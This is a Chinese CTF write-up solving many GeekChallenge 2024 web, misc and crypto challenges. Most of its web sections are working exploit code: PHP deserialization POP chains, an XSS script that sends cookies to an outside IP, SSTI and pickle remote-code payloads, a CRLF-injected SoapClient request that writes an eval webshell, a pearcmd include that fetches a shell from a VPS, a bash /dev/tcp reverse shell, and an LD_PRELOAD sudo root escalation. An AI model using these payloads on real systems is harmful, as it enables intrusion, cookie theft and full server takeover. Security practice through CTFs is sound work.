ezpop 题目:
<?php Class SYC{ public $starven ; public function __call ($name , $arguments ) { if (preg_match ('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i' ,$this ->starven)){ die ('no hack' ); } file_put_contents ($this ->starven,"<?php exit();" .$this ->starven); } } Class lover{ public $J1rry ; public $meimeng ; public function __destruct ( ) { if (isset ($this ->J1rry)&&file_get_contents ($this ->J1rry)=='Welcome GeekChallenge 2024' ){ echo "success" ; $this ->meimeng->source; } } public function __invoke ( ) { echo $this ->meimeng; } } Class Geek{ public $GSBP ; public function __get ($name ) { $Challenge = $this ->GSBP; return $Challenge (); } public function __toString ( ) { $this ->GSBP->Getflag (); return "Just do it" ; } } if ($_GET ['data' ]){ if (preg_match ("/meimeng/i" ,$_GET ['data' ])){ die ("no hack" ); } unserialize ($_GET ['data' ]); }else { highlight_file (__FILE__ ); }
分析代码,发现:
漏洞利用点在SYC
类的file_put_contents
中
反序列化起始点在lover
类
pop链逻辑为 lover(destruct) -> Geek(get) -> lover(invoke) -> Geek(tostring) -> SYC(call)
poc如下:
<?php Class SYC{ public $starven = "php://filter/write=string.strip_tags|?>php_value auto_prepend_file '/flag'\n#/resource=.htaccess" ; } Class lover{ public $J1rry ='data://text/plain;base64,V2VsY29tZSBHZWVrQ2hhbGxlbmdlIDIwMjQ=' ; public $meimeng ; } Class Geek{ public $GSBP ; } $a = new lover ();$a ->meimeng = new Geek ();$a ->meimeng->GSBP = new lover ();$a ->meimeng->GSBP->meimeng = new Geek ();$a ->meimeng->GSBP->meimeng->GSBP = new SYC ();echo serialize ($a );echo '<br>' ;echo str_replace ('abc' ,'123' ,'abcabc' );echo '<br>' ;echo str_replace ('s%3A7%3A%22meimeng' ,'S%3A7%3A%22%5C6deimeng' ,urlencode (serialize ($a )));
需要注意的绕过点:
十六进制绕过$meimeng
的正则匹配
伪协议绕过$J1rry
的file_get_content
绕过死亡exit
的大部分filter
被ban,只能使用strip_tags
写.htaccess进行文件包含
Problem_On_My_Web XSS题目 发现不仅是starven学长能发表白语句,我们也能发 于是考虑ssti模版注入
但尝试了多种模版注入,发现没有,但是有XSS
点击下方第二个超链接,提示:
If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]
使用POST传参,随意一个url,提示:
Your host must be 127.0.0.1 and can be visit
传参url=http://127.0.0.1
提示:
猜测可能会浏览和我们同样的表白墙,加之上方提示cookie中有gift,确认是XSS 构造劫持cookie的js:
<script> function on_on_load ( ){ fetch ('http://120.76.159.54:3389' , { method : 'POST' , headers : { 'Content-Type' : 'text/plain' }, body : document .cookie }) .then (response => response.text ()) .then (data => console .log (data)) .catch (error => console .error ('Error:' , error)); } window .onload = on_on_load; </script>
提交后获得cookie,成功找到flag
100%的⚪ flag写js里了,属于签到题 base64解码得到flag
rce_me php绕过,题目:
<?php header ("Content-type:text/html;charset=utf-8" );highlight_file (__FILE__ );error_reporting (0 );if (!is_array ($_POST ["start" ])) { if (!preg_match ("/start.*now/is" , $_POST ["start" ])) { if (strpos ($_POST ["start" ], "start now" ) === false ) { die ("Well, you haven't started.<br>" ); } } } echo "Welcome to GeekChallenge2024!<br>" ;if ( sha1 ((string ) $_POST ["__2024.geekchallenge.ctf" ]) == md5 ("Geekchallenge2024_bmKtL" ) && (string ) $_POST ["__2024.geekchallenge.ctf" ] != "Geekchallenge2024_bmKtL" && is_numeric (intval ($_POST ["__2024.geekchallenge.ctf" ])) ) { echo "You took the first step!<br>" ; foreach ($_GET as $key => $value ) { $$key = $value ; } if (intval ($year ) < 2024 && intval ($year + 1 ) > 2025 ) { echo "Well, I know the year is 2024<br>" ; if (preg_match ("/.+?rce/ism" , $purpose )) { die ("nonono" ); } if (stripos ($purpose , "rce" ) === false ) { die ("nonononono" ); } echo "Get the flag now!<br>" ; eval ($GLOBALS ['code' ]); } else { echo "It is not enough to stop you!<br>" ; } } else { echo "It is so easy, do you know sha1 and md5?<br>" ; } ?>
第一个start
参数传递一个数组绕过 看一下md5("Geekchallenge2024_bmKtL")
的值,为0e
开头,且判断为弱判断 传参:_[2024.geekchallenge.ctf=aaroZmOk
绕过 最后一个year
是强制类型转换,传参1e9
成功绕过
baby_upload 文件上传 提示是黑名单绕过,那就一个一个尝试 发现.jpg.php
双写成功绕过,使用蚁剑上马
ezhttp 题目总览如下: Please pass these levels,Starven will give you flag! Level1: please use get parameter welcome Level2 please user two post params username & password Level3 you must from https://www.sycsec.com Level4 you must from local ip Level5 you must let Starven give you flag\n<?php\r if ( $_SERVER [ "HTTP_STARVEN" ] == "I_Want_Flag" ) {\r echo "........" ;\r }\r \n \n
haha! Thers is last level,please view your cookie and get flag! where is key? give your cookie : token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3Mjk4NjQzNDQsIm5iZiI6MTcyOTg2NDM0NCwiZXhwIjoxNzI5ODcxNTQ0LCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6ZmFsc2V9.HD4hxKoLUf7lhML184qng96EZiTlMTTtgAD8mvyDLCk
最后python代码如下:
import requestsurl = 'http://80-c245227a-02f4-44c0-82e8-7da81ef7f405.challenge.ctfplus.cn/?welcome=geekchallenge2024' headers = { 'Referer' : 'https://www.sycsec.com' , 'X-Real-Ip' : '127.0.0.1' , 'STARVEN' :'I_Want_Flag' , } data = { 'username' :'Starven' , 'password' :'qwert123456' , } cookie = { 'token' :'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3Mjk4NjIyNTcsIm5iZiI6MTcyOTg2MjI1NywiZXhwIjoxNzI5ODY5NDU3LCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.1vbIIz51Roat6PffQNLLraYywbeWqemHz3_uhvkGWvA' } response = requests.post(url=url,headers=headers,data=data,cookies=cookie)
本题需要注意的点:
伪造ip除了可以用x-forwarded-for
还可以用X-Real-Ip
jwt解密token后为python { "iss": "Starven", "aud": "Ctfer", "iat": 1729862257, "nbf": 1729862257, "exp": 1729869457, "username": "Starven", "password": "qwert123456", "hasFlag": false }
将hasFlag改成true后使用Starven_secret_key加密回去即可获得flag
Can_you_Pass_Me 发现有ssti 首先查找过滤字符, 发现: 过滤:[]、+、request、关键字、:、set、get
不过滤:""、__、.、attr、reverse
既然attr
可以用我们就使用reverse
进行组合:
{%print (()|attr('__ssalc__' |reverse)|attr('__esab__' |reverse)|attr('__sessalcbus__' |reverse)()|attr('__metiteg__' |reverse))%}
成功找到subclasses,虽然python环境未知,但大多在130附近,我们先取132,再根据得到的对象一个一个数找附近wrap_close 最后找到是140 构造可执行系统命令的语句:
{%print (()|attr('__ssalc__' |reverse)|attr('__esab__' |reverse)|attr('__sessalcbus__' |reverse)()|attr('__metiteg__' |reverse)(140 )|attr('__tini__' |reverse)|attr('__slabolg__' |reverse)|attr('__metiteg__' |reverse)('nepop' |reverse)("ls" )|attr('daer' |reverse)())%}
发现flag、\、等字符被ban,用十六进制替换
{%print (()|attr('__ssalc__' |reverse)|attr('__esab__' |reverse)|attr('__sessalcbus__' |reverse)()|attr('__metiteg__' |reverse)(140 )|attr('__tini__' |reverse)|attr('__slabolg__' |reverse)|attr('__metiteg__' |reverse)('nepop' |reverse)("cat \x2f\x66\x6c\x61\x67" )|attr('daer' |reverse)())%}
最后发现还过滤了flag的回显,直接用env就行,再进行一次reverse:
{%print (()|attr('__ssalc__' |reverse)|attr('__esab__' |reverse)|attr('__sessalcbus__' |reverse)()|attr('__metiteg__' |reverse)(140 )|attr('__tini__' |reverse)|attr('__slabolg__' |reverse)|attr('__metiteg__' |reverse)('nepop' |reverse)("env" )|attr('daer' |reverse)()|reverse)%}
再使用python倒转flag:
print ('}e3444c55cb6a-a919-3c94-583e-9ea58050{CYS' [::-1 ])
成功解出
SecretInDrivingSchool 查看网站源码发现登录界面:L000G1n.php
提示用户名4~16位,猜测为admin
提示密码3位+@chengxing,爆破得SYC@chengxing
成功进入后台
发现广告界面可以修改广告的php 过滤了很多危险函数,但使用的并不是disable_functions 直接拼接即可绕过:
$a = "sys" ."tem" ;$a ("env" );
获得flag:SYC{289537ce-182e-4096-93fe-aeb80e53b094}
ez_include 题目:
<?php highlight_file (__FILE__ );require_once 'starven_secret.php' ;if (isset ($_GET ['file' ])) { if (preg_match ('/starven_secret.php/i' , $_GET ['file' ])) { require_once $_GET ['file' ]; }else { echo "还想非预期?" ; } }
是一个绕过require_once包含限制的题 详见https://www.anquanke.com/post/id/213235 payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
成功进入第二步/levelllll2.php:
<?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ["syc" ])){ $file = $_GET ["syc" ]; $hint = "register_argc_argv = On" ; if (preg_match ("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i" , $file )) { die ("hint都给的这么明显了还不会做?" ); } if (substr ($_SERVER ['REQUEST_URI' ], -4 ) === '.php' ){ include $file ; } }
观察到register_argc_argv = On,可能是pear文件包含漏洞 构造payload:
/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+download+http://vps地址:vps端口/1.php
成功getshell
ez_ssrf 题目是ssrf,但是题目首页什么都没有 使用dirsearch扫描目录发现www.zip
泄露 发现网页源码:
h4d333333.php<?php error_reporting (0 );if (!isset ($_POST ['user' ])){ $user ="stranger" ; }else { $user =$_POST ['user' ]; } if (isset ($_GET ['location' ])) { $location =$_GET ['location' ]; $client =new SoapClient (null ,array ( "location" =>$location , "uri" =>"hahaha" , "login" =>"guest" , "password" =>"gueeeeest!!!!" , "user_agent" =>$user ."'s Chrome" )); $client ->calculator (); echo file_get_contents ("result.txt" ); }else { echo "Please give me a location" ; }
calculator.php<?php $admin ="aaaaaaaaaaaadmin" ;$adminpass ="i_want_to_getI00_inMyT3st" ;function check ($auth ) { global $admin ,$adminpass ; $auth = str_replace ('Basic ' , '' , $auth ); $auth = base64_decode ($auth ); list ($username , $password ) = explode (':' , $auth ); echo $username ."<br>" .$password ; if ($username ===$admin && $password ===$adminpass ) { return 1 ; }else { return 2 ; } } if ($_SERVER ['REMOTE_ADDR' ]!=="127.0.0.1" ){ exit ("Hacker" ); } $expression = $_POST ['expression' ];$auth =$_SERVER ['HTTP_AUTHORIZATION' ];if (isset ($auth )){ if (check ($auth )===2 ) { if (!preg_match ('/^[0-9+\-*\/]+$/' , $expression )) { die ("Invalid expression" ); }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { exit ("Hacker" ); }
发现可以进行请求头注入 需要:
AUTHORIZATION
,type
为basic
,值为base64加密的$admin:$adminpass
POST
参数expression
,值为注入的php代码
最终payload为:
/h4d333333.php?location=http://127.0.0.1/calculator.php
user=aaa%0D%0AAuthorization%3ABasic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A80%0D%0A%0D%0Aexpression%3Dfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%29%3B%26aaa%3Daaaa
PHP不比Java差 题目:
<?php highlight_file (__FILE__ );error_reporting (0 );include "secret.php" ;class Challenge { public $file ; public function Sink ( ) { echo "<br>!!!A GREAT STEP!!!<br>" ; echo "Is there any file?<br>" ; if (file_exists ($this ->file)){ global $FLAG ; echo $FLAG ; } } } class Geek { public $a ; public $b ; public function __unserialize (array $data ): void { $change =$_GET ["change" ]; $FUNC =$change ($data ); $FUNC (); } } class Syclover { public $Where ; public $IS ; public $Starven ; public $Girlfriend ; public function __toString ( ) { echo "__toString is called<br>" ; $eee =new $this ->Where ($this ->IS); $fff =$this ->Starven; $eee ->$fff ($this ->Girlfriend); } } unserialize ($_POST ['data' ]);
简单分析后我们发现:
反序列化的起始点在GEEK类
使用的是php8的新魔术方法
$data
数组中的元素是GEEK类的属性
change
参数是我们自己传的,可以使用任意魔术方法
$FUNC
触发时无法传参,联想到可变函数发数组调用
于是构造POC:
$a = new Geek ();$s = new Challenge ();$s ->file = 'secret.php' ;$a ->a = array ($s ,"Sink" );echo urlencode (serialize ($a ));
同时传参?change=reset
取$data
数组的首个元素赋值给$FUNC
直接调用Challenge类
的Sink
获得假flag:
The True Flag is in /flag
那么我们只能再利用Syclover类
试图读取/flag 有趣的是__toString
魔术方法也可以使用可变函数的数组调用直接触发 参数where
是一个类,这里联想到php原生类的利用
于是构造POC:
$a = new Geek ();$s = new Syclover ();$s ->Where = 'SplFileObject' ;$s ->IS = '/flag' ;$s ->Starven = 'fpassthru' ;$s ->Girlfriend = null ;$a ->a = array ($s ,"__toString" );echo (serialize ($a ));
可以看到Starven学长没有Girlfriend 反序列化之后/flag并没有被读取,明明本地测试成功的,怎么回事呢? 猜测要提权,要提权先得getshell 利用另一个原生类实现 由于直接使用shell非常难受,直接在当前网页写个马:
$a = new Geek ();$s = new Syclover ();$s ->Where = 'ReflectionFunction' ;$s ->IS = 'system' ;$s ->Starven = 'invoke' ;$s ->Girlfriend = 'echo "echo 123;eval(\$_POST[\'cmd\']);">>index.php' ;$a ->a = array ($s ,"__toString" );echo (serialize ($a ));
使用命令:find / -perm -u=s -type f 2>/dev/null
列出所有可使用的有root权限的命令:
/bin/su /bin/umount /bin/mount /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/bin/passwd /usr/bin/file
看这个file有能读文件的意思。。 一番搜索后使用:file -f /flag
成功通过报错的方式读取/flag
文件里的内容,成功获得flag
not_just_pop 上来是一个pop链:
<?php highlight_file (__FILE__ );ini_get ('open_basedir' );class lhRaMK7 { public $Do ; public $You ; public $love ; public $web ; public function __invoke ( ) { echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?" ."<br>" ; eval ($this ->web); } public function __wakeup ( ) { $this ->web=$this ->love; } public function __destruct ( ) { die ($this ->You->execurise=$this ->Do); } } class Parar { private $execurise ; public $lead ; public $hansome ; public function __set ($name ,$value ) { echo $this ->lead; } public function __get ($args ) { if (is_readable ("/flag" )){ echo file_get_contents ("/flag" ); } else { echo "还想直接读flag,洗洗睡吧,rce去" ."<br>" ; if ($this ->execurise=="man!" ) { echo "居然没坠机" ."<br>" ; if (isset ($this ->hansome->lover)){ phpinfo (); } } else { echo ($this ->execurise); echo "你也想被肘吗" ."<br>" ; } } } } class Starven { public $girl ; public $friend ; public function __toString ( ) { return "试试所想的呗,说不定成功了" ."<br>" .$this ->girl->abc; } public function __call ($args1 ,$args2 ) { $func =$this ->friend; $func (); } } class SYC { private $lover ; public $forever ; public function __isset ($args ) { return $this ->forever->nononon (); } } $Syclover =$_GET ['Syclover' ];if (isset ($Syclover )) { unserialize (base64_decode ($Syclover )); throw new Exception ("None" ); }else { echo ("怎么不给我呢,是不喜欢吗?" ); }
分析发现:
序列化字符串使用base64加密
漏洞点在lhRaMK7
的__invoke()
is_readable("/flag")
目测不可读,所以后续需要提权
倒推可得POC:
<?php $a = new lhRaMK7 ();$a ->You = new Parar ();$a ->You->lead = new Starven ();$a ->You->lead->girl = new Parar ();$a ->You->lead->girl->hansome = new SYC ();$a ->You->lead->girl->hansome->forever = new Starven ();$a ->You->lead->girl->hansome->forever->friend=new lhRaMK7 ();$a ->You->lead->girl->hansome->forever->friend->love = "file_put_contents('a.php','<?php highlight_file(__FILE__);@eval(\$_POST[1]);?>');" ;echo base64_encode (serialize ($a ));
使用phpinfo()
发现php版本为7.2 直接使用system()
函数发现居然有disable_function 于是一个一个试发现file_put_contents()
可用,且当前目录可写 所以直接写马,上马后使用php版本漏洞绕过disable_function,直接执行命令 详见文章 执行bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
回弹shell 接收后使用perl -e 'exec "/bin/sh";'
升交互式 一番检查: sudo可以使用 看一眼env,发现:
使用sudo -l
搜索可用指令
User www-data may run the following commands on dep-0790f3fc-174e-4e43-a484-b6d3615adf07-59c798cd59-nb5c6: (ALL : ALL) NOPASSWD: /usr/bin/envUser www-data may run the following commands on dep-0790f3fc-174e-4e43-a484-b6d3615adf07-59c798cd59-nb5c6: (ALL : ALL) NOPASSWD: /usr/bin/env
env能用,我寻思env有啥用啊,但是gpt告诉我确实有用:
#include <stdio.h> #include <stdlib.h> void _init() { setuid(0 ); setgid(0 ); system("/bin/bash" ); }
gcc -fPIC -shared -o /tmp/preload.so preload.c sudo env LD_PRELOAD=/tmp/preload.so /bin/bash
直接拿下一个root终端,简直crazy 直接cat /flag
获得:SYC{f2e3cce2-5c9c-4876-b7c4-cbb140ebbfd0}
ez_python 常规注册登录,暂时没有发现可攻击的点 但登录后提示查看:/starven_s3cret
成功获得源码:
import osimport secretsfrom flask import Flask, request, render_template_string, make_response, render_template, send_fileimport pickleimport base64import blackapp = Flask(__name__) @app.route('/' ) def index (): return render_template_string(open ('templates/index.html' ).read()) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : usname = request.form['username' ] passwd = request.form['password' ] if usname and passwd: heart_cookie = secrets.token_hex(32 ) response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart" ) response.set_cookie('heart' , heart_cookie) return response return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): heart_cookie = request.cookies.get('heart' ) if not heart_cookie: return render_template('warning.html' ) if request.method == 'POST' and request.cookies.get('heart' ) == heart_cookie: statement = request.form['statement' ] try : heal_state = base64.b64decode(statement) print (heal_state) for i in black.blacklist: if i in heal_state: return render_template('waf.html' ) pickle.loads(heal_state) res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!" ) flag = os.getenv("GEEK_FLAG" ) or os.system("cat /flag" ) os.system("echo " + flag + " > /flag" ) return res except Exception as e: print ( e) pass return "Error!!!! give you hint: maybe you can view /starven_s3cret" return render_template('login.html' ) @app.route('/monologue' ,methods=['GET' ,'POST' ] ) def joker (): return render_template('joker.html' ) @app.route('/starven_s3cret' , methods=['GET' , 'POST' ] ) def secret (): return send_file(__file__,as_attachment=True ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=False )
可见是一个pickle注入题目 而登录时对starven学长说的话就是需要注入的内容,需要base64加密 那么构造如下poc:
import pickleimport base64print (base64.b64encode(pickle.dumps("111" )))import pickleimport osimport base64import requestsclass aaa (): def __reduce__ (self ): try : print (111 ) return (eval ,("__import__('os').system('xxx')" ,)) except : pass a = aaa() print (base64.b64encode(pickle.dumps(a)))pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4=" ))
即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤, 另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:
return (eval ,("__import__('os').system('env > templates/index.html')" ,))
再回到首页即可成功获得flag
Truth of Word word文档的真相 点进word文档,发现有透明字符,调成红色 发现外面多了个welcome_TO文件 同时文件一直提示要修复,怀疑文件结构里塞东西了 翻找发现challenge\word\media
下有flag03 最后打开宏代码,找到了flag02
雪 snow隐写 上来一个压缩包打不开 用记事本在末尾发现一串base64:VzNMQzBNNA==
解密得:W3LC0M4
,作为密码输入成功解压 看到一个white.txt文件,显然是now隐写 没有密码,但是还有一个盲水印图片 使用网上找来的工具解盲水印得到密码:Th1si4st8eK3y
执行:snow.exe -p Th1si4st8eK3y -C White.txt
成功解密
doSomeMath 题目:
import oswhite_List=["+" ,"-" ,"*" ,"/" ,"_" ,"g" ,"e" ,"l" ,"t" ,"(" ,")" ,"." ,"," ] flag=os.environ.get("GEEK_FLAG" ) if os.environ.get("GEEK_FLAG" )!=None else "SYC{test}" banner=''' _ ____ __ __ _ _ __| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__ / _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\ | (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | | \__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_| ''' def waf (s ): if not s.isascii(): exit("Please input ascii" ) for word in s: if word not in white_List: exit("hacker!!!!" ) print (banner)print ("please do this math problem" )while True : try : result = input ("99*100^60= " ) waf(result) if 99 * 100 ^ 60 == eval (result): print ("Congradulation!!!!! Here is your reward: " + flag) else : print ("not right" ) except Exception as err: print (str (err))
考python原生类魔术方法的使用 发现只有gelt四个英文字符可以使用,那么很容易就可以发现:
可以得到1 那么两个加起来就是二,再做平方操作很容易就可以获得任何数,最终payload:
(().__le__(()) + ().__le__(()))**13 + (().__le__(()) + ().__le__(()))**10+ (().__le__(()) + ().__le__(()))**9+ (().__le__(()) + ().__le__(()))**7+ (().__le__(()) + ().__le__(()))**4
得到9872,提交即可
I_wanna_go_to_SYC 进入游戏,发现第一个刺都跳不过去 但是会生成很多存档文件: 随便将一个存档文件修改一下,保存再进入游戏 发现游戏进入了一个错误的地图,背景就是flag 手快截图即可
cimbar libcimbar编码: 对着对照表一个一个解密,发现第一行是SYC{
那么就是flag无疑了,将整张图片都decode 得到flag
ez_jpg 使用010editor打开 发现报异常 猜测是宽高被修改 将宽高都改成640,得到正确图片,获得flag
ez_pcap_1 流量分析题 但是直接使用记事本打开 搜索SYC 直接找到flag,在明文里 属于非预期了
Welcome_jail pyjail
Please check the blacklist and input your code ['import', 'os', 'breakpoint', 'input', 'eval', 'exec', 'help', "'", '"'] >>
模仿ssti的做法获得wrap_close:
print (().__class__.__base__.__subclasses__()[132 ])
接下来要获取popen,但引号被禁用,不妨用chr绕过,简单写个脚本快速获得payload:
s = input (":" ) r_s = '' for i in range (len (s)): r_s += f"chr({ord (s[i])} )+" print (r_s)
最终在环境变量中得到flag,payload:
print (().__class__.__base__.__subclasses__()[132 ].__init__.__globals__[chr (112 )+chr (111 )+chr (112 )+chr (101 )+chr (110 )](chr (101 )+chr (110 )+chr (118 )).read())
SYC{b101c81b-e232-4cdd-98fa-814c03772caa}
RSA 脚本如下:
from Crypto.Util.number import long_to_bytes, inversen = 33108009203593648507706487693709965711774665216872550007309537128959455938833 p = 192173332221883349384646293941837353967 q = 172282016556631997385463935089230918399 e = 65537 c = 5366332878961364744687912786162467698377615956518615197391990327680664213847 phi_n = (p - 1 ) * (q - 1 ) d = inverse(e, phi_n) m = pow (c, d, n) flag = long_to_bytes(m) print (flag.decode())
共模攻击 脚本如下:
import libnumimport gmpy2n= 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767 c1= 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983 c2= 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152 e1e2= 911 *967 def rsa_gong_N_def (e1,e2,c1,c2,n ): e1, e2, c1, c2, n=int (e1),int (e2),int (c1),int (c2),int (n) print ("e1,e2:" ,e1,e2) s = gmpy2.gcdext(e1, e2) print ("mpz:" ,s) s1 = s[1 ] s2 = s[2 ] if s1 < 0 : s1 = - s1 c1 = gmpy2.invert(c1, n) elif s2 < 0 : s2 = - s2 c2 = gmpy2.invert(c2, n) m = (pow (c1,s1,n) * pow (c2 ,s2 ,n)) % n return int (m) def de (c, e, n ): k = 0 while k<1000 : mk = c + n*k flag, true1 = gmpy2.iroot(mk, e) if True == true1: return flag k += 1 for e1 in range (2 ,e1e2): if e1e2%e1==0 : e2=e1e2//e1 c=rsa_gong_N_def(e1, e2, c1, c2, n) e=gmpy2.gcd(e1,e2) m1=de(c, e, n) if m1: print (libnum.n2s(int (m1)))
X0r 脚本如下:
from Crypto.Util.number import *from pwn import xorf1 = 4585958212176920650644941909171976689111990 f2 = 3062959364761961602614252587049328627114908 e2_expected = 10706859949950921239354880312196039515724907 e1 = e2_expected ^ f2 enc = e1 ^ f1 enc_bytes = long_to_bytes(enc) known_flag_start = b'SYC{' key = xor(enc_bytes[:4 ], known_flag_start) print (f"推导出的 key 前四个字节: {key} " )flag = xor(enc_bytes, key) print (f"解密得到的 flag: {flag} " )
ncoCRT 脚本如下:
from Crypto.Util.number import *from sympy.ntheory.modular import solve_congruencep = [1921232050179818686537976490035 , 2050175089402111328155892746480 , 1960810970476421389691930930824 , 1797713136323968089432024221276 , 2326915607951286191807212748022 ] c = [1259284928311091851012441581576 , 1501691203352712190922548476321 , 1660842626322200346728249202857 , 657314037433265072289232145909 , 2056630082529583499248887436721 ] congruences = [(ci, pi) for ci, pi in zip (c, p)] x, _ = solve_congruence(*congruences) flag_bytes = long_to_bytes(x)[:-23 ] print (flag_bytes)
ecc 脚本如下:
from Crypto.Util.number import *from sage.all import *p = 74997021559434065975272431626618720725838473091721936616560359000648651891507 a = 61739043730332859978236469007948666997510544212362386629062032094925353519657 b = 12824761259043751634610094689861000765081341921946160155432001001819005935812 k = 93653874272176107584459982058527081604083871182797816204772644509623271061231 E = EllipticCurve(GF(p),[a,b]) c1 = E([14455613666211899576018835165132438102011988264607146511938249744871964946084 ,25506582570581289714612640493258299813803157561796247330693768146763035791942 ]) c2 = E([37554871162619456709183509122673929636457622251880199235054734523782483869931 , 71392055540616736539267960989304287083629288530398474590782366384873814477806 ]) cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710 cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619 m = c1 - k * c2 left = cipher_left//m[0 ] right = cipher_right//m[1 ] print (long_to_bytes(int (left))+long_to_bytes(int (right)))
本题本地装环境有点麻烦,用的线上测试工具
dp 脚本如下
import gmpy2 as gpe = 65537 n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871 dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769 c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060 for i in range (1 ,e): if (dp*e-1 )%i == 0 : if n%(((dp*e-1 )//i)+1 ) == 0 : p=((dp*e-1 )//i)+1 q=n//(((dp*e-1 )//i)+1 ) phi=(q-1 )*(p-1 ) d=gp.invert(e,phi) m=pow (c,d,n) print (m) print (bytes .fromhex(hex (m)[2 :]))
凯撒加密 这个我真会,好吧 密码题里唯一一道能手搓的
def caesar_decrypt (ciphertext, shift ): decrypted = [] for char in ciphertext: if char.isalpha(): shift_base = ord ('A' ) if char.isupper() else ord ('a' ) decrypted_char = chr ((ord (char) - shift_base - shift) % 26 + shift_base) decrypted.append(decrypted_char) else : decrypted.append(char) return '' .join(decrypted) ciphertext = "YEI{CKRIUSK_ZU_2024_MKKQ_INGRRKTMK}" for shift in range (1 , 26 ): decrypted_text = caesar_decrypt(ciphertext, shift) print (decrypted_text)